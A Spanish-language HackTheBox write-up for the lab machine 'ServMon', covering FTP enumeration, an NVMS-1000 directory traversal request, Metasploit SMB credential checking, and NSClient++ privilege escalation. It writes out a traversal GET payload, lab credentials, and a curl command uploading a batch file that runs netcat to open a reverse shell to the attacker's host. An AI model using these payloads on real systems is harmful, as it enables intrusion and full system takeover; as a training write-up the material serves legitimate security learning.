Writeup — HackTheBox — "ServMon"

Jeach_03
7 min readJun 29, 2020

--

ServMon es una máquina retirada con sistema operativo Windows y es clasificada como fácil. Una máquina especial que me ánima a hacer el siguiente writeup por ser la primera en romper en Hack The Box.

Metodología a seguir:

  • Nmap scan
  • Enumeración
  • Explotación
  • Escalada de privilegios

Antes de empezar correr la VPN descargado de la plataforma (examples.ovpn) y comprobar conexión a HTB mediante: ping 10.10.10.184

Tenemos respuesta con el servidor HTB

NMAP SCAN

  • Escaner rápido: nos permite identificar los puertos que están activos de forma rápida: nmap -p- — max-retries 0 10.10.10.184
  • Escaner activo: Permite conocer los puertos y servicios que están corriendo en la maquina; con la opción -oN para guardar salida en formato txt: nmap -sC -sV 10.10.10.184 -oN servmon.txt

ENUMERACIÓN

FTP — Acceso Anonymous

Continuando con el proceso de enumeración el servicio FTP permite acceso anonymous por la terminal o en este caso enumeramos por el navegador.

  • Búsqueda por el navegador

Donde contiene dos usuarios Nadine & Nathan

El usuario Nadine contiene el archivo Confidential.txt

El usuario Nathan contiene el archivo Note to do.txt donde muestra la siguiente información.

Con la información recolectada podemos listar dos usuarios Nadine & Nathan, pero ninguno con credenciales de acceso; Pero la información recopilada nos informa que Nadine dejado algunas credenciales en el escritorio de Nathan.

EXPLOTACIÓN

Comprobando el puerto 80 nos lleva a una pagina web que corre el software NVMS-1000; consulto a nuestro amigo google si conoce alguna vulnerabilidad que presente este software (Exploit NVMS-1000) como resultado una vulnerabilidad directory traversal esto ocurre cuando no hay una gestión correcta (validación, autorización) de los parámetros provenientes del lado del cliente.

Nos guiamos con el siguiente exploit:

Siguiendo los detalles del CVE prepamos Burp Suite despúes configurar el proxy localhost y puerto 80 para interceptar el formulario. http://10.10.10.184/Pages/login.htm y mandamos la siguiente petición GET tomando en cuenta el contenido de archivo Confidential.txt “Your Password.txt file on your Desktop” Por lo tanto realizamos la siguiente petición: GET /../../../../../../../../../../../../users/Nathan/Desktop/Password.txt HTTP/1.1

Dentro del aparatado Response — Raw Burp Suite nos muestra posibles passwords.

Ahora creamos archivos txt con la información obtenida user.xt y pass.txt pero donde puedo usar estas credenciales y si son validas nos guiamos https://www.offensive-security.com/metasploit-unleashed/smb-login-check/

Con esta información obtenida nos permitirá realizar un proceso automatizado de verificación de credenciales por smb_login con la herramienta Metasploit de la siguiente manera.

user.txt
pass.txt

Una vez iniciado metasploit realizamos la busqueda con serach smb_login , seleccionamos con use auxiliary/scanner/smb/smb_login

Veamos la siguientes opciones que necesitamos configurar con los datos obtenidos:

  • Set RHOTS 10.10.10.184 (IP de la maquina Servmon)

Especificar los archivos que creamos que contiene los datos de usuarios & Contraseñas con:

  • set USER_FILE user.txt
  • set PASS_FILE pass.txt

Es muy cierto que Login Check Scanner puede ser muy útil, ya que permite conectarnos al host víctima y determinará si la combinación de usuario / contraseña puede acceder al mismo; Pero este procedimiento es muy “ruidoso”, ya que se mostrará como un intento fallido de inicio de sesión en los registros de eventos del sistema Windows; Cualquier resultado exitoso se puede conectar al módulo de exploits windows / smb / psexec (exactamente como la herramienta independiente), que se puede usar para crear sesiones de Meterpreter pero no lo utilizaremos en este caso.

Metasploit realizo la verificación y nos indica que el usuario: Nadine Password:L1k3B1gbut7s@W0rk’ Success.

Obteniendo flag de user

Con las combinaciones de credenciales obtenidas, intentamos loguearnos con usuario: Nadine & Password:L1k3B1gbut7s@W0rk’ por el servicio SSH y obtenemos acceso remoto.

Después de conectarnos al servicio SSH , nos movemos entre los directorios hasta llegar c:\Users\Nadine\Desktop>type user.txt

“Recordar que todos los ‘flags’ son diferentes”

ESCALADA DE PRIVILEGIOS

Después de emplear diferentes tipos de herramienta de enumeración, programas instalados; la máquina cuenta con el programa NSclient++ que se utiliza para la monitorización del sistema y esta corriendo en el puerto 8443.

Otra vez consultamos a google información sobre vulnerabilidades o fallos de navegación y menciona CVE https://www.exploit-db.com/exploits/46802 y es la metodología a seguir:

Primero verificamos la version NSclient++ para conocer si es posible ejecución de CVE con >nscp test

Ejecutar el siguiente comando para conocer la contraseñas de la aplicación la cual se muestra en texto plano. >nscp web — — password — — display

Se puede observar dos cosas importantes la contraseña y la dirección de acceso permitida lo que nos indica que solo inicia la interfaz web desde el host especifico (Permite solo la interfaz web de formar local)

Creamos un tunel con ssh para reenviar el puerto 8443 al puerto local 127.0.0.1 o localhost >ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184 https://www.ssh.com/ssh/tunneling/example

Una vez realizado el reenvio para el sistema local podemos acceder con las credenciales que se encontraron: ew2x6SsGTxjRwXOT

Siguiendo las instrucciones del exploit debemos subir un archivo script.bat y subirlo a el servidor para que nos permita ejecutar reverse shell; utilizamos curl con el siguiente comando. >curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripsts/ext/scripts/evil.bat — — data-binary “c:\Temp\nc.exe 10.10.xx.xx 443 -e cmd.exe”

Ejecutamos nuestro netcat para esperar reverse shell por el puerto 443.

Ejecutamos el siguiente comando con curl y colocamos la credenciales ew2x6SsGTxjRwXOT

Luego de esperar conseguimos reserve shell y ejucutamos el comando whoami tenemos acceso con privelegios nt authority\system

Nos desplazamos hasta alcanzar el flag de root >c:\Users\Administrator\Desktop\type root.txt

“Recordar que todos los ‘flags’ son diferentes”

CONCLUSIONES

  • Acceso FTP anónimo, obteniendo credenciales SSH de NVMS que se ejecutan en el puerto 80 a través de Directory Traversal utilizando BurpSuite y verificando con metasploit.
  • Para la escalada de privilegios, explotamos NSClient ++ mediante reenvio de puerto SSH y cargando nuestro script.bat malicioso a través de su API.

¡Saludos!

--

--